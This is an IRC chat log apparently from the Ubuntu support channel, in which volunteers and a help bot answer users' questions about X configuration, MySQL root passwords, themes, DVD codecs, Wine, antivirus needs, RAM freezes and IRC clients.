[06:44] <RoundyT1> mysql> flush privileges;
[06:44] <RoundyT1> mysql> quit
[06:44] <ardchoille> captstevenhiller: You might benefit from reading a little of: http://www.gtk.org/
[06:44] <RoundyT1> I tried the first command and it doesnt work.
[06:44] <atoponce> vince_: if /etc/X11/xorg.conf doesn't exist in ubuntu, then you don't have X started at all
[06:44] <RoundyT1> which is the "mysql -u root mysql"
[06:44] <DonL> time for bed. Night all.
[06:45] <captstevenhiller> ardchoille: thanks, i am kind of rushing to get all of ubuntu looking good, i should probably just calm down
[06:45] <atoponce> vince_: so, 'dpkg-reconfigure xserver-xorg' in the terminal, follow the prompts, and it will create one for you
[06:45] <vince_> atoponce: it starts just fine without it, but i don't know what it uses instead
[06:46] <atoponce> vince_: i don't see how it can. it *relies' on that config file
[06:46] <vince_> atoponce: i already did that, but the Screen Resolutions are messed up
[06:46] <ardchoille> captstevenhiller: Ah, ok, lemme help you a bit. There are themes for gnome. gnome is the default desktop environment in Ubuntu. GTK2 themes handle controls (widgets), Metacity themes handle the window border and titlebar.
[06:46] <vince_> atoponce: try it. delete that file and reboot
[06:46] <RoundyT1> anyone wanna help me?
[06:46] <vince_> or move it out of the way
[06:47] <atoponce> vince_: no thank you. i like my X the way it is
[06:47] <ardchoille> captstevenhiller: You can find new themes at http://art.gnome.org  and  http://www.gnome-look.org
[06:47] <billy> ok.  there's vga=791, then 794.  what's after 794?
[06:47] <captstevenhiller> ardchoille: how would i go about applying these themes?
[06:47] <vince_> i just can't figure out where settings in System > Preferences > Screen Resolution are coming from
[06:47] <Athensman> whats a good dvd player for xbuntu
[06:48] <pax> ardchoille, no. is you type 'whatis nautilus' in terminal, it'll tell you what it is/does. that was for the person who asked.
[06:48] <billy> Athensman: vlc.
[06:48] <pax> s/is/if
[06:48] <shnastybiznastic> Athensman: I like mplayer, but these guys will have to help you out for dvding, i still don't have mp3 support up
[06:49] <ardchoille> pax: Ah, ok. I misunderstood.
[06:49] <Athensman> now do you download mplayer and install it like windows
[06:49] <atoponce> vince_: if you don't have an /etc/X11/xorg.conf file, then i couldn't ever tell you how you're running X
[06:49] <RoundyT1> how do i change the root password for mysql.....as well as how do i make sure i have a root password enabled on my laptop and server?
[06:50] <vince_> atoponce: just move it out of the way, and try rebooting, and tell me if i'm going out of my mind
[06:50] <ardchoille> captstevenhiller: You download a new theme and unpack it into ~/.themes (for your user) or /usr/share/themes (for system-wide use). Then you open System -> Preferences -> Themes and choose the one you want to use.
[06:50] <atoponce> vince_: no. i have my windows and everything exactly as i want it. i'm not rebooting just to try it
[06:50] <shane634> drofdarb, sorry man i know vid though
[06:50] <vince_> atoponce: you are absolutely correct. is SHOULDN'T work, but it does
[06:50] <CyberCod> anyone good with ati?
[06:50] <arrenlex> CyberCod: What's the problem?
[06:51] <vince_> and i have no idea where those settings are coming from, so i can't duplicate them in my own xorg.conf
[06:51] <shane634> CyberCod, which card?
[06:51] <captstevenhiller> ardchoille: thank you very much
[06:51] <RoundyT1> How do i set a root password?
[06:51] <ardchoille> captstevenhiller: You're welcome :)
[06:51] <CyberCod> 7000VE with TV-out currently workin
[06:51] <ardchoille> RoundyT1: You don't.
[06:51] <atoponce> vince_: then i would suggest reconfiguring X with the command i supplied to recreate it
[06:51] <vince_> which means i have to choose between a working monitor or a working mouse until i figure this out
[06:51] <codesnik> is there any way to force volume keys work in gnome?
[06:51] <ardchoille> !sudo | RoundyT1
[06:51] <ubotu> RoundyT1: sudo is a command to run programs with superuser privileges ("root"). Look at https://help.ubuntu.com/community/RootSudo for all information.
[06:51] <vince_> atoponce: i already did
[06:51] <shane634> CyberCod, if it works why fix it
[06:51] <atoponce> vince_: then you should have an xorg.conf file
[06:51] <vince_> atoponce: that's what jrib told me to do
[06:52] <codesnik> now they control "headphone"s volume, how to force them to affect "pcm" volume?
[06:52] <RoundyT1> I thought if you DONT have a root password you're open to hackers...that can just login and use the su command?
[06:52] <atoponce> vince_: that command *creates* an /etc/X11/xorg.conf
[06:52] <vince_> atoponce: i do, but the screen settings are messed up
[06:52] <CyberCod> shane634: it only works one or the other with my LCD... but both will work together if i use my CRT
[06:52] <atoponce> vince_: so, once created, edit it
[06:52] <shane634> CyberCod,  i can't help with that sorry
[06:52] <ardchoille> RoundyT1: The root account on Ubuntu is locked. It's near impossible to brute force a locked account.
[06:52] <CyberCod> i know... it is weird though ;)
[06:53] <vince_> atoponce: i did, but my settings don't work as good as the originals, and i don't know where i can find them
[06:53] <RoundyT1> ok kool. didn't know that. and that's for the server as well as the desktop versions?
[06:53] <Athensman> now do you download mplayer and install it like windows
[06:53] <shane634> i only know base vid an wireless
[06:53] <ardchoille> RoundyT1: How can they log in? The root account is locked, therefore it won't allow logins. And hackers can't brute force your user account if they don't know the username.
[06:53] <CyberCod> I've put in specific Horiz and Vert ranges for it...
[06:53] <ardchoille> RoundyT1: yes
[06:53] <atoponce> vince_: reconfiguring X saves backups with a datetimestamp appended to the end of the file
[06:53] <nomopofomo> i've got a problem with ubuntu recognizing my adaptec ata raid 1200a
[06:53] <vince_> atoponce: for example, by default, Screen Resolutions allows me to do 1280x1024 at 75MHz
[06:53] <atoponce> vince_: in the /etc/X11 dir
[06:54] <vince_> atoponce: and are those used when xorg.conf doesn't exist?
[06:54] <RoundyT1> ok and finally -- how do i set a root mysql password?
[06:54] <atoponce> vince_: no
[06:54] <vince_> hmmm
[06:55] <CyberCod> but still.... what frakkin monitor you ever heard of gets "out of range" on 800x600???
[06:55] <thomyorke38> my ubuntu works great, im just bored and need something interesting to do with it :P
[06:55] <shane634> CyberCod, not many lol
[06:55] <r00tintheb0x> i somehow totally borqued my webserver
[06:55] <atoponce> vince_: so, either rename one of the backed up date/timestamp xorg.conf files, or, create a new one
[06:55] <ardchoille> RoundyT1: There is information about setting a root mysql password here: https://help.ubuntu.com/community/ApacheMySQLPHP
[06:55] <vince_> atoponce: maybe if that file doesn't exist, ubuntu somehow creates a temporary one somewhere?
[06:55] <atoponce> vince_: don't know what else to suggest
[06:55] <r00tintheb0x> /etc/init.d/apache2 isnt even starting it anymore.
[06:55] <r00tintheb0x> :'(
[06:55] <CyberCod> thomyorke38: nice nick... major radiohead fan here
[06:55] <SurfnKid> got a startup problem on edgy
[06:55] <thomyorke38> thx
[06:55] <SurfnKid> after the login screen
[06:56] <shane634> !x
[06:56] <SurfnKid> I get an error that says failed to load Desktop Settings Manager
[06:56] <ubotu> The X Window System is the part of your system that's responsible for graphical output. To restart your X, type  sudo /etc/init.d/?dm restart  in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto
[06:56] <atoponce> vince_: nope. if you don't have an xorg.conf file, X won't start. that's the way it's built, unless there is something i'm missing
[06:56] <globe> are there some essential steps I should take before publishing my machine to a public IP/domain name?
[06:56] <nrot> Im having problems, i had to reinstall, and now when i boot back into ubuntu, it gets past the loading bar thing, and then it goes out of sync on my monitor, how can i fix this
[06:56] <vince_> atoponce: i'm telling, that's what's happening, lol
[06:56] <Athensman> i knew i should have stayed with windows
[06:56] <thomyorke38> is someone having a beryl problem? i just finished wrestling with mine i might be able to help
[06:56] <atoponce> vince_: then i don't know what to tell you
[06:56] <ardchoille> SurfnKid: That sounds like gnome-settings-daemon. Have you messed with your themes lately?
[06:56] <jmg> hello all, can someone tell me how to make gnome not open a desktop on a given screen, i want it to remain bare
[06:56] <vince_> atoponce: i've tried it several times, and i can't believe it myself, but it's true
[06:56] <jmg> thanks
[06:57] <vince_> atoponce: i only have 1 backup, and it's 3 days old
[06:57] <atoponce> nrot: 'dpkg-reconfigure xserver-xorg'
[06:57] <mEck0> have someone tried to install the amd64-alternate-feisty-beta? because the partitioner-menu is buggy as hell :/ They haven't fix it since herd 5 :(
[06:58] <atoponce> vince_: then, i would suggest renaming it to xorg.conf and restarting X
[06:58] <shane634> mEck0, that is beta and buggy
[06:58] <SurfnKid> ardchoille: um not that I'm aware of, well let me check if I possiblyt changed it, however it all sttarted happnin when i ran the update mgr. the next start up it happened
[06:58] <nrot> why would my monitor go out of sync, its never done this before? until i reinstalled, and it keeps doin that
[06:58] <shane634> nrot, drivers maybe
[06:58] <atoponce> nrot: don't know. i'd just reconfigure X, and get on your way. :)
[06:59] <nrot> i dont even have a chance to get in to config x
[06:59] <shnastybiznastic> I am unhappy that rythmbox started putting songs into the library at "311" as opposed to say "Wu Tang" or "Scarlatti"
[06:59] <atoponce> nrot: at the login, click 'sessions' then 'failsafe terminal'
[06:59] <vince_> atoponce: brb
[06:59] <shane634> nrot, sure you do if you can get to a command prompt
[06:59] <nrot> it doesnt even go to login
[07:00] <nrot> it does the little slider bar of loading stuff, then it does the res error
[07:00] <atoponce> nrot: then, 'alt-f1' will take you to a terminal and 'alt-f7' will bring you back
[07:00] <nrot> it was working in the livecd mode, but it wont anymore
[07:00] <shane634> then control alt f whatever
[07:00] <nrot> ah yeah, i forgot about that :D
[07:01] <shane634> nrot, then use nano man
[07:01] <mattie8> hi, what is name of the application that can have terminal sessions on the desktop seemlessly (as in this example ss, in bottom center, displaying some sort of timestamped client errors:  http://www.fluxbox.org/zoom.php?shots-dev/emp_fluxbox.jpg )
[07:01] <Athensman> LOL
[07:01] <Athensman> my dvd's ran on 98 fine and they play like crap on xubuntu
[07:02] <nrot> Athensman you probably dont have right drivers installed
[07:02] <atoponce> mattie8: i don't know what you're asking
[07:02] <shane634> Athensman, codec issues
[07:02] <shnastybiznastic> You know, loading up the good music first would be a good feature if any rythmbox developers are listening ;)
[07:02] <nrot> yeah codec i mean
[07:02] <nrot> bleh im tired
[07:02] <atoponce> mattie8: those look like normal terminals on a regular desktop
[07:03] <atoponce> mattie8: are you using fluxbox?
[07:03] <ardchoille> shnastybiznastic: How would rythmbox which songs are "good"? What is good to you may be horrible to someone else.
[07:03] <mattie8> atoponce: yes
[07:04] <vince_> atoponce: with the old file, it's even worse, i can't get 1280x1024 at all, and 1024x768 at only 50Hz
[07:04] <atoponce> mattie8: then, #fluxbox might be of better help, i'm afraid.
[07:04] <shnastybiznastic> ardchoille: pfft, baysean filtering :P
[07:04] <atoponce> FunnyLookinHat: word
[07:04] <Brylie> rythmbox has ratings
[07:04] <ardchoille> shnastybiznastic: hahaha
[07:04] <nrot> Athensman http://www.digg.com/linux_unix/How_to_enable_DVD_playback_Ubuntu
[07:04] <nrot> try that
[07:04] <Goose> Does anyone know if there is a plug in for Ubuntu 6.06 That will allow me to download.exe and run them?
[07:04] <nrot> dvds played back for me just fine
[07:05] <tonyyarusso> Goose: What for?
[07:05] <CyberCod> Look!  I have a bunny!!
[07:05] <nrot> Goose like wine?
[07:05] <nrot> or what do you mean
[07:05] <CyberCod> *kriccck!!*
[07:05] <Goose> will wine let me download .exe?
[07:05] <CyberCod> Look!  I have a DEAD bunny!!!
[07:05] <mattie8> atoponce: no no, my question was merely - what util is he using  -- if you look at the error messages that guy is getting (positioned, in the ss, in the very bottom center) - they clearly differ from his regular terminal sessions. T
[07:05] <erichj> NOOOOO
[07:05] <nrot> ah download, why cant you right click and save target as
[07:05] <tonyyarusso> Goose: You can download whatever you want - it's running it that's the issue.  What program?
[07:05] <atoponce> mattie8: oh, i see
[07:05] <FunnyLookinHat> atoponce, sup sup
[07:05] <nrot> Athensman try that link i just posted
[07:06] <Athensman> forget it
[07:06] <FunnyLookinHat> atoponce, this is a support weekend for me (I'm spending it at my parents house, so starting tomorrow I have tons of time on my hands)  : )
[07:06] <Goose> Well im on windows and have been for 4 years so everything i've downloaded in that time is 95% .exe and i was gonna try anjd re downlaod em to linux
[07:06] <Athensman> i just go back
[07:06] <Goose> and use them
[07:06] <tonyyarusso> Goose: You'd be better off finding alternatives.
[07:06] <john_> can anybody help me with ATI drivers and anti-aliasing?
[07:06] <atoponce> FunnyLookinHat: nice!
[07:06] <FunnyLookinHat> atoponce, pretty much  : )     Anyways I'm headed to bed.  'night
[07:06] <Goose> hm
[07:06] <atoponce> FunnyLookinHat: saturday's are my OSS day, so i'm planning on spending the day here. :)
[07:06] <atoponce> FunnyLookinHat: ttyl
[07:06] <tonyyarusso> Goose: Some may work in Wine, some may not, depends what they are, but in no case will it work as well as a native program.
[07:07] <shnastybiznastic> Goose: if you are looking at applications, then you may want to examine the list of alternatives
[07:07] <tonyyarusso> Goose: We can help suggest replacements.
[07:07] <atoponce> mattie8: not sure what is running
[07:07] <ardchoille> !apps | Goose
[07:07] <ubotu> Goose: A comprehensive list of of Windows-equivalent applications in Linux can be found at http://www.linuxrsp.ru/win-lin-soft/table-eng.html and https://wiki.ubuntu.com/WhatWindowsUsersWant
[07:07] <Goose> Thanks :D
[07:07] <atoponce> mattie8: probably some fluxbox widget
[07:07] <ardchoille> :)
[07:07] <CyberCod> Goose: wine will work for some applications
[07:07] <Athensman> oh well i will go back to windows
[07:07] <erichj> crossover linux
[07:07] <CyberCod> but only use it for what you cannot find replacements
[07:07] <Goose> yeah
[07:07] <CyberCod> IF you can get it to work
[07:08] <Varsendaggr> hey how do i mount my gmail account as a hard drive?
[07:08] <atoponce> vince_: what i would do, is reconfigure, and restart X. if still no luck, then jump in that file, and edit by hand
[07:08] <globe> is there a way to exclude a package from automatic updates?
[07:08] <vince_> atoponce: i just did that
[07:08] <mattie8> atoponce: found it,this: http://www.lynucs.org/?root-tail
[07:08] <CyberCod> globe... there is... lemme think of term
[07:08] <atoponce> vince_: so, edit the file by hand, then, until it works
[07:08] <tonyyarusso> globe: Read up on "pinning" in your apt configuration (Google should have something)
[07:09] <globe> tonyyarusso: thx, will do
[07:09] <SurfnKid> ardchoille: theme mgr shows my ubuntu theme.. its the default
[07:09] <vince_> atoponce: the problem is that no matter what i do, i can't get the settings in "System > Preferences > Screen Resolutions" to match the original settings
[07:09] <Athensman> how can you guys like this OS
[07:09] <maria> Hi again, I installed the package "network-manager" and rebooted. The problem is, i cannot see any wireless network when clicking on it. My wireless is working but network-manager doesn't show anything up
[07:10] <ardchoille> SurfnKid: Ok, then I may be wrong. I was thinking that maybe you changed a theme and it's borken causing gnome-settings-daemon to not want to start.
[07:10] <tonyyarusso> Athensman: Because it works better than the alternative - but this isn't the place for that discussion.  This is a support channel.
[07:10] <cables> What did Ubuntu do to Athensman?
[07:10] <maria> I also installed wifi radar.. and it does show the available networks!! but the problem with it is that there is no button "Connect", so I cannot connect to any of the shown wifi networks
[07:10] <atoponce> Athensman: because it rocks
[07:10] <Athensman> no it dont
[07:11] <Goose> Anyone have a good antivirus for ubuntu?
[07:11] <cables> Athensman, that's great... but this really isn't the place to talk about that.
[07:11] <cables> Goose, you don't need one
[07:11] <Goose> ...
[07:11] <SurfnKid> ardchoille: well it takes an awful long time loading certain apps in administration and aMsn forever too, this happened before and after I reinstalled Edgy to see if the problem would go away... and I noticed after the second install, the updates screwdthings up,
[07:11] <cables> Goose, unless you want to prevent Windows users from getting virus email attachments from you.
[07:11] <erichj> goose, you don't need it but if you insist, clamAV
[07:11] <ardchoille> Athensman: If you have a support question, then ask. But, please don't stay in here talking bad about an OS that millions of people know is awesome.
[07:11] <Goose> so linux is that safe?
[07:11] <Goose> hm
[07:11] <atoponce> vince_: the screen resolution gui is just pulling it directly from the xorg.conf file, iirc
[07:11] <CharlieSu> Athensman: lol..  you rock!
[07:12] <Athensman> yes it is awsome i see a 3d chess set
[07:12] <cables> Goose, we're not joking here... it's really that safe.
[07:12] <Athensman> wow
[07:12] <Goose> and the firewall is too?
[07:12] <cables> Athensman, what's your preferred OS?
[07:12] <tonyyarusso> !virus | Goose
[07:12] <ubotu> Goose: A/V software is available, however read this to understand why Linux does not have a virus problem: http://librenix.com/?inode=21
[07:12] <atoponce> vince_: so, maybe just keep commenting sections of the xorg.conf file, in the res section, so only one res is avail, until it works
[07:12] <tonyyarusso> !firewall | Goose
[07:12] <ubotu> Goose: Ubuntu, like any other linux distribution, has firewall capabilities built-in. The firewall is managed using the 'iptables' command (see https://help.ubuntu.com/community/IptablesHowTo), or GUI applications such as Firestarter (Gnome) or Guarddog (KDE).
[07:12] <tallman> hello everybody
[07:12] <atoponce> vince_: really, i'm running out of ideas here
[07:12] <cables> Goose, if you want to run a firewall, you can. It's probably a good idea actually, unless you have a NAT router (most routers are NATs) because those already block all unauthorized traffic
[07:12] <Goose> sorry but i've so use to viruses on windows
[07:12] <Goose> lol
[07:13] <Goose> i'm&
[07:13] <Goose> *
[07:13] <Athensman> cant even download a file and double click it and install it :(
[07:13] <cables> Athensman, you certainly can
[07:13] <CharlieSu> Athensman: what OS do you like?
[07:13] <Athensman> any windows except me
[07:13] <cables> Athensman, what sorta file are you downloading? Ubuntu uses .deb files.
[07:13] <atoponce> Athensman: sure you can.
[07:13] <tonyyarusso> cables: everybody on Ubuntu runs a firewall - it's only a matter of how's it's configured
[07:14] <tonyyarusso> Athensman: yes you can
[07:14] <vince_> atoponce: well, this shouldn't even be happening, that's what's so wierd, lol
[07:14] <cables> Athensman, I don't know what you're using, but if you can't install a .deb by clicking on it, it's sure as hell not Ubuntu
[07:14] <Athensman> I AM USING
[07:14] <Athensman> xubuntu
[07:14] <ardchoille> Goose: There aren't any active viruses in Linux. Due to the way Linux is designed (root vs user model), it's pretty much a waste of time to write a virus for Linux.
[07:14] <erichj> poor guy
[07:14] <Goose> lol
[07:14] <atoponce> vince_: then, i'm afraid to say, i can't help. google, or someone else in this channel, may be of more help :(
[07:14] <Goose> well i new Linux was safe but never knew it was this safe
[07:14] <tonyyarusso> Athensman: Xubuntu can do it too
[07:14] <Goose> knew*
[07:15] <vince_> atoponce: thanks anyway, i'll keep hacking at it
[07:15] <atoponce> vince_: np. good luck
[07:15] <cables> Athensman, if you have a legitimate problem that you need help with, ask... otherwise go have fun in #windows .
[07:15] <tallman> atoponce: you need a firewall in xubuntu?
[07:15] <Supercross> can someone help me figure out why ubuntu freezes up so much on me...its a fresh install and its frozen up over 10 times in a day....never any freezes in windows on same machine
[07:15] <tallman> !windows
[07:15] <ubotu> For help with Microsoft Windows, please visit ##windows or your nearest mental health institute. See http://launchpad.net/distros/ubuntu/+bug/1 http://linux.oneandoneis2.org/LNW.htm and !equivalents
[07:15] <Athensman> ok i have a specific question
[07:15] <atoponce> tallman: do i need one *in* ubuntu? no, i have a nat firewall sitting on my desk
[07:15] <ardchoille> I love that factoid
[07:15] <Athensman> my dvd's will not play
[07:16] <ardchoille> !dvd
[07:16] <ubotu> For playing DVD, see http://help.ubuntu.com/ubuntu/desktopguide/C/video.html - "libdvdcss2" can be found at http://wiki.ubuntu.com/SeveasPackages
[07:16] <ardchoille> Athensman: There ya go
[07:16] <CharlieSu> Athensman: that isn't a question
[07:16] <erichj> athensman: just remember there are no legal dvd decoders for linux in the US
[07:16] <jmg> hello does anyone know how to make gnome-session not manage a particular screen
[07:16] <Athensman> what
[07:16] <tallman> atoponce: sorry, that was for Athensman
[07:16] <atoponce> tallman: no worries. :)
[07:17] <Supercross> how do I find out what is causing ubuntu to freeze on a fresh install on edgy?
[07:17] <atoponce> tallman: i'm very well familiar with bad tab completes... :)
[07:17] <jmg> hello does anyone know how to make gnome-session not manage a particular screen
[07:17] <jmg> it doesnt seem to obey --display
[07:17] <tallman> atoponce: =)
[07:17] <tonyyarusso> Athensman: I told you - the RIAA/MPAA does some nasty nasty things
[07:17] <erichj> Athensman: you can install dvd codecs, but if you are in america it's illegal under linux
[07:17] <tonyyarusso> Athensman: You bought the DVD, but not the right to watch it
[07:17] <erichj> Athensman: but don't let that stop you
[07:18] <atoponce> tonyyarusso: same goes with mp3
[07:18] <erichj> stick it to the man
[07:18] <atoponce> encoding, that is
[07:18] <tallman> Athensman: where do you live?
[07:18] <ardchoille> Athensman: This may interest you: https://help.ubuntu.com/
[07:18] <Athensman> is there any nice people here that can talk me through this crap
[07:18] <tonyyarusso> atoponce: mp3 I thought you could have the one to decode; could be wrong (don't care anyway)
[07:18] <tonyyarusso> ah, ya - encoding no
[07:18] <erichj> !easyubuntu | athensman
[07:18] <ubotu> athensman: easyubuntu is a script that automates installation of some items. Use at your own risk. See http://easyubuntu.freecontrib.org/ - For help and or discussions about EasyUbuntu please join #easyubuntu
[07:18] <SurfnKid> Athensman: what crap oh windows
[07:19] <atoponce> tonyyarusso: :)
[07:19] <Athensman> at this tiem windows is the king os
[07:19] <cables> Athensman, you lost your credibility long ago... you came in insulting Ubuntu, and now you want help. We already sent you a guide... go follow it.
[07:19] <atoponce> all the more reason ogg just rox
[07:19] <tonyyarusso> atoponce: indeed
[07:19] <con-man> !botabuse | ubotu
[07:19] <ubotu> ubotu: Please investigate with me only in /msg or in #ubuntu-bots (see also !Bot). Abusing the channel bots will only result in angry ops...
[07:19] <con-man> lolololol
[07:19] <nomopofomo> is anyone here familiar with getting raid to work?
[07:19] <nomopofomo> specifically if they are ntfs drives?
[07:19] <Supercross> does ubuntu support dual channel ram?
[07:19] <Athensman> well back to windows
[07:20] <cables> atoponce, I just don't like the name... hey dude, I just got an Ogg player!
[07:20] <atoponce> Supercross: yes
[07:20] <tonyyarusso> Supercross: yes
[07:20] <erichj> Supercross: it's your MB that has to support it
[07:20] <CharlieSu> Athensman: i'd love to hold your hand!!!
[07:20] <atoponce> cables: then say 'i got a vorbis player.' :)
[07:20] <cables> atoponce, that's not as bad, but still not as good as "mp3 player"
[07:20] <atoponce> heh
[07:20] <tallman> is the a flac player?))
[07:20] <Athensman> you guys mislead people about linux
[07:20] <ardchoille> !ops | Athensman is being a pain
[07:20] <ubotu> Athensman is being a pain: Help! Mez, LjL, elkbuntu, imbrandon, DBO, gnomefreak, Hobbsee, rob, ompaul, Madpilot, Burgundavia, Seveas, CarlK, crimsun, ajmitch, tritium, Nalioth, thoreauputic, apokryphos, tonyyarusso, PriceChild or Amaranth
[07:20] <con-man> Athensman: dvd's are easy as hell to play in Ubuntu
[07:20] <Supercross> well my ubuntu constantly freezes and my memory is the only thing I can think of...but I have never had any issues under windows....its rather annoying to be working in ubuntu and then have everything freeze and have to hard reboot
[07:20] <erichj> atoponce: ogg requires more resources to play than mp3
[07:21] <nomopofomo> :(
[07:21] <tonyyarusso> ardchoille: Yeah, I know....sigh - give it another moment here
[07:21] <Amaranth> Athensman: What's the problem?
[07:21] <con-man> Athensman: you enter three lines of code and BAM! you can play dvd's
[07:21] <cables> !dvd | Athensman, I assume you can read English... follow the guide.
[07:21] <ubotu> Athensman, I assume you can read English... follow the guide.: For playing DVD, see http://help.ubuntu.com/ubuntu/desktopguide/C/video.html - "libdvdcss2" can be found at http://wiki.ubuntu.com/SeveasPackages
[07:21] <atoponce> erichj: agreed. and the file sizes are usually larger too
[07:21] <tonyyarusso> !offtopic | Athensman  at least
[07:21] <ubotu> Athensman  at least: #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome!
[07:21] <atoponce> erichj: but the quality is superior, no legal entaglements, and it's Free Software- 3 strikes agaist mp3
[07:21] <captstevenhiller> ardchoill: sorry to bother you again, my system will not let me copy files into /usr/share/themes, do i need to be root?
[07:22] <osofast> hey guys
[07:22] <erichj> atoponce: i don't agree on quality since i rip at 320 or higher
[07:22] <tallman> captstevenhiller: yes
[07:22] <atoponce> erichj: at that point, it's moot. :)
[07:22] <Supercross> should I change the location of my ram in their slots on my mobo to try to troubleshoot a memory problem?
[07:22] <con-man> join #irc
[07:23] <con-man> errrr
[07:23] <cables> Supercross, I doubt it will fix it... but it can't hurt to try. Make sure you ground yourself first though :)
[07:23] <osofast> im haing a small problem with my sound, it used to work perfectly then all of a sudden it stopped working? are there any common errors that occur? I am farily sure its not muted
[07:23] <atoponce> Supercross: run the memory check program on the live cd
[07:23] <erichj> Supercross: did you upgrade your install yet?
[07:23] <captstevenhiller> tallman: my system also wont let me log in as root at the login screen, i need to use terminal?
[07:23] <atoponce> Supercross: of course, put the ram in the slots closest to the cpu...
[07:23] <ardchoille> captstevenhiller: The root account is locked.
[07:23] <ardchoille> !sudo | captstevenhiller
[07:23] <ubotu> captstevenhiller: sudo is a command to run programs with superuser privileges ("root"). Look at https://help.ubuntu.com/community/RootSudo for all information.
[07:23] <Supercross> erichj: yes, it still freezes and after I updated my ati driver it still freezes but I have mouse control but nothing else
[07:23] <erichj> captstevenhiller: root is evil, sudo should be sufficient
[07:23] <tallman> captstevenhiller: you've never worked through terminal?
[07:23] <cables> osofast, double-check all your volume sliders, not just the main one. Make sure your speakers are plugged in/on. Also read the stuff I'm about to send to you, it may help.
[07:23] <con-man> !ops | Athensman is being abusive
[07:23] <ubotu> Athensman is being abusive: Help! Mez, LjL, elkbuntu, imbrandon, DBO, gnomefreak, Hobbsee, rob, ompaul, Madpilot, Burgundavia, Seveas, CarlK, crimsun, ajmitch, tritium, Nalioth, thoreauputic, apokryphos, tonyyarusso, PriceChild or Amaranth
[07:24] <cables> !sound | osofast
[07:24] <ubotu> osofast: If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin - For playing audio files, see !Players and !MP3
[07:24] <Athensman> lol cant ever download mirc for this thign
[07:24] <cables> con-man, he stopped though...
[07:24] <captstevenhiller> tallman: i have, i just thought there would be a more point-and-click solution
[07:24] <cables> Ouch.
[07:24] <con-man> So wait
[07:24] <Amaranth> Athensman: we've got xchat, it's better than mIRC
[07:24] <erichj> mirc is a crappy client
[07:24] <cables> con-man, he wasn't doing anything any more...
[07:25] <con-man> I  get abused by Athensman in PM's and I get kicked
[07:25] <erichj> why would you want to install it
[07:25] <atoponce> irssi ftw! 
[07:25] <con-man> GG
[07:25] <Amaranth> con-man: What he does in PM does not concern this channel
[07:25] <syock> Long ago when I still had Windows, I wasn`t able to connect to the internet if I boot from Windows to Ubuntu unless if I unplug the power cord, leave it for 10 seconds and reboot to Ubuntu. Does that problem still persist now? Because I have to reinstall Windows for some silly compatibility work.
[07:25] <Supercross> atoponce: is that true..try moving the ram to the slots closest to the cpu....i think its in 1,3 now to enable dual channel
[07:25] <con-man> Amaranth: next time tell me that before removing me from the channel
[07:25] <CharlieSu> lets please kick Athensman .....
[07:25] <cables> !ignore | con-man
[07:25] <ubotu> con-man: If you really don't wish to see the messages from a particular person on IRC, you can use /ignore nickname
[07:25] <shnastybiznastic> Athensman: you might be better served by xchat instead of mirc.
[07:26] <atoponce> Supercross: it could help, although might not. it's just something i learned going through a+ cert
[07:26] <Athensman> xchat where do u get that
[07:26] <tallman> captstevenhiller: if you install from alternate cd in expert mode there is such choice
[07:26] <Amaranth> Athensman: What are you using right now?
[07:26] <cables> Athensman, Applications>Add/Remove Programs
[07:26] <osofast> thanks guys
[07:26] <tonyyarusso> Athensman: Make sure to enable !universe first
[07:26] <cables> Athensman, if you don't want to use the command line, that will do just fine.
[07:26] <osofast> it worked
[07:26] <Amaranth> err, he is on Windows using mIRC...
[07:26] <Supercross> i did run the mem test off the live cd earlier today and it froze at the beginning of test 7...randomnumber generator....any ideas?
[07:26] <RoundyT1> what's the normal login address (URL) for phpMyadmin?
[07:26] <CharlieSu> seriously guys..  there comes a point when we need to just say RTFM.. (Athensman)
[07:27] <erichj> localhost/phpmyadmin/
[07:27] <Amaranth> Supercross: I'd say you definitely have some bad hardware
[07:27] <atoponce> Supercross: yeah. you might have bad ram. does your board support mem tests?
[07:27] <atoponce> Supercross: mobo, that is?
[07:27] <Amaranth> !rtfm | CharlieSu
[07:27] <ubotu> CharlieSu: Words like noob, jfgi, stfu or rtfm are not welcome in this channel. Period.
[07:27] <Athensman> yes i am on xp right now
[07:27] <tallman> captstevenhiller: not sure but you can try going to GDM configuration and there may be such option
[07:27] <con-man> Supercross: make sure its the ram and not the ram slot. Try taking a stick out and run the test again
[07:27] <Supercross> not sure its an asus w/ a p4 northwood
[07:27] <RoundyT1> thanks....how do i add a user?
[07:28] <RoundyT1> nvm
[07:28] <atoponce> Supercross: does it display key shortcuts as post?
[07:28] <Supercross> yes
[07:28] <atoponce> s/as/at/
[07:28] <atoponce> Supercross: anything for mem test?
[07:28] <jmg> ubotu: how about foad?
[07:28] <ubotu> Sorry, I don't know anything about how about foad? - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[07:28] <Amaranth> Athensman: Alright, you have several ways to get on IRC in Ubuntu. You can install Xchat from Applications->Add/Remove Programs or you can use gaim from Applications->Internet->GAIM Internet Messenger
[07:28] <Supercross> um let me check
[07:28] <shnastybiznastic> Athensman: open the package manager and select xchat
[07:28] <Amaranth> Athensman: GAIM will also do msn, aim, yahoo, icq, and jabber
[07:29] <cables> Athensman, Gaim isn't very good at IRC.
[07:29] <cables> Athensman, it'll do though
[07:29] <Athensman> i am downloading xchat now
[07:29] <nomopofomo> is it possible to reconstruct a raid array if the drives were formatted NTFS?
[07:29] <CharlieSu> Athensman: IRSSI
[07:29] <cables> Athensman, unlike Windows, our Add/Remove Programs actually adds as well.
[07:29] <atoponce> CharlieSu: +1
[07:29] <cables> CharlieSu, please.
[07:29] <tonyyarusso> CharlieSu: The superior client, but probably not best for him
[07:29] <tallman> CharlieSu: +1
[07:29] <Supercross> it just says del to enter setup and within there is no mem test
[07:29] <Amaranth> CharlieSu: No, he doesn't know anything about Ubuntu, irssi is for advanced users
[07:29] <erichj> Athensman: bitchx sounds more like your type of client
[07:30] <Athensman> haha
[07:30] <Amaranth> Seriously people.
[07:30] <nomopofomo> :(
[07:30] <Athensman> see i dont even know of all my drivers are installed
[07:30] <erichj> oh come on
[07:30] <RoundyT1> what do i need to do to be able to access my phpadmin remotely?
[07:30] <CharlieSu> why did i get +1?
[07:30] <RoundyT1> just use the external ip? --- (behind a router)
[07:30] <erichj> bitchx is a good client
[07:30] <Amaranth> RoundyT1: http://whatismyip.com
